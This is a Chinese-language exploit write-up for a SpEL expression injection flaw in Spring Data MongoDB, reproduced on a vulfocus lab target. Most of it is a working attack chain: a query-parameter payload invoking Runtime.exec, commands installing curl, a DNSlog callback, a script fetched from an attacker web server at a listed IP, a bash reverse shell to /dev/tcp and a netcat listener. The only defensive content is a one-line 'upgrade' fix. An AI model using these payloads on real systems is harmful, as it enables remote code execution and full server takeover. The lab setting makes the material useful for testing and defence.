漏洞描述
Spring Data MongoDB SpEL Expression injection Spring Data MongoDB 应用程序在使用带有 SpEL 表达式的@Query
或 @Aggregation-annotated
查询方法时容易受到 SpEL 注入的影响,如果输入未经过过滤,则该表达式包含用于值绑定的查询参数占位符.
该漏洞属于0 Click
影响版本
>=3.3.0 & <=3.3.4
3.4.0
解决方法: 升级版本.
查看官网版本支持
漏洞复现
采用vulfocus平台上数据.
启动靶机
执行payload安装curl
请求方式: get
请求URL: /
请求参数(payload): ?name=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('代码')
.
安装curl:
getRuntime().exec('apt-get update')
getRuntime().exec('apt-get install -y curl')
等待页面刷新完成即可.
测试curl
DNSlog网站: http://www.dnslog.cn/
测试:
getRuntime().exec('curl xxx.dnslog.cn')
vulfocus官网上的可能是宽带不行,推荐搭建本地靶机.
反弹shell
写这个文章就是为了写这个
采用bash反弹:
文件内容:
bash -c 'exec bash -i >& /dev/tcp/ip/6666 0>&1'
开启服务
在攻击机上使用python开启临时web服务:
python -m http.server 7777
默认能访问的是当前文件夹.
使用curl获取文件
getRuntime().exec('curl -o /tmp/1.sh http://139.224.42.111:7777/1.sh')
查看脚本文件是否被获取:
等待页面加载完成即可.
开启监听 执行脚本
开启监控:
nc -lvnp 6666
bash执行获取的脚本:
getRuntime().exec('bash /tmp/1.sh')
很快啊:
反弹成功,应用漏洞成功!